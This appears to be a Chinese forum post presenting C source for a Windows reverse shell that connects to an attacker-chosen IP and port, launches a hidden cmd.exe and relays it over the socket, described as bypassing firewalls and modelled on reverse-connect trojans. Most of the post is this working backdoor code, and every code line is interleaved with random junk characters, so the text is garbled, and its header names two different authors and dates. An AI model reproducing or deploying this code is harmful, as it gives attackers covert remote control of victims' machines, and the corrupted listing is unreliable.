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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rt%3\?rf  
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/* ============================== yf lt2 R  
Rebound port in Windows NT bwr}Ge  
By wind,2006/7 7Ud  
===============================*/ Qz[4M`M  
#include 9f wFSJx  
#include TgDx3U[  
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#pragma comment(lib,"wsock32.lib") $ts%SDM  
u U|fCwQt  
void OutputShell(); #]g9O?0$  
SOCKET sClient; &efwfnG<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {6/Yu: ;  
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void main(int argc,char **argv) 7H,p/G?]k  
{ T+$Af,~  
WSADATA stWsaData; 6+Y^A})(F-  
int nRet; A_:YpQ07@  
SOCKADDR_IN stSaiClient,stSaiServer; [~%\:of70n  
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if(argc != 3) ~_;x o?@ba  
{ ,(D:cRN  
printf("Useage:\n\rRebound DestIP DestPort\n"); S8zc1!  
return; ^")SU(`  
} bOY<C%;C  
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WSAStartup(MAKEWORD(2,2),&stWsaData); hwon ^?  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |= xK-;qs  
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stSaiClient.sin_family = AF_INET; dx<KZR$!V  
stSaiClient.sin_port = htons(0); ME9jN{ le  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _ +"V5z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  Z>O2  
{ t 7(#Cuv-  
printf("Bind Socket Failed!\n"); O<H5W|cM  
return; <<ze84 E  
} K~U5jp c  
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stSaiServer.sin_family = AF_INET;  GD]yP..  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C}7 c:4c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !8z,}HUdK  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A.D@21py  
{ e2P ds`  
printf("Connect Error!"); ]V`L\  
return; 2$Fy?08q  
} nw)yK%`;M  
OutputShell(); U}=o3u  
} M^e;WY@ D  
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void OutputShell() &4m\``//9  
{ Z2%ySO  
char szBuff[1024]; |z5`h  
SECURITY_ATTRIBUTES stSecurityAttributes; 5Az4<  
OSVERSIONINFO stOsversionInfo; S<-e/`p=H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K<_bG<tm_  
STARTUPINFO stStartupInfo; `Tt;)D  
char *szShell; )J['0DUrZK  
PROCESS_INFORMATION stProcessInformation; rEM#J"wF  
unsigned long lBytesRead; l<89[{9o  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^xpiNP!?a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zeeixg-1<  
stSecurityAttributes.lpSecurityDescriptor = 0; S(c&XJR  
stSecurityAttributes.bInheritHandle = TRUE; GJ3@".+6  
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t3w:!' Ato  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Y#W$Fx($R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [Ju5O[o  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 wT e?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .5'_5>tkv  
stStartupInfo.wShowWindow = SW_HIDE; yLDv/r  
stStartupInfo.hStdInput = hReadPipe; @u.%z# h"1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _>k&,p]y  
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GetVersionEx(&stOsversionInfo); V"r2 t9A  
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switch(stOsversionInfo.dwPlatformId) zS6oz=  
{  ^O9_dP:  
case 1: Kb/w+J S  
szShell = "command.com"; 8vuA`T!~G  
break; j~ 'a %P  
default: qkg`4'rLg  
szShell = "cmd.exe"; m7F"kD  
break; bH7 lUS~  
} Y >83G`*}b  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XEB1%. p  
'H]&$AZ;@  
send(sClient,szMsg,77,0); #7Pnw.s3zz  
while(1) q\`0'Z,  
{ >7[o=!^:4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vzs_g]V  
if(lBytesRead) Q8~|0X\.g  
{ DC5^k[m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S%sD#0l  
send(sClient,szBuff,lBytesRead,0); |P>Yf0  
} n@`:"j%s_  
else /jtU<uX  
{ v{T%`WuPRf  
lBytesRead=recv(sClient,szBuff,1024,0); rZK;=\Ot  
if(lBytesRead<=0) break; 4|]0%H~n6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t@Bl3Nt{  
} ZliJc7lss  
} `L=d72:  
J$/'nL<{^  
return;  3 cb$g  
}
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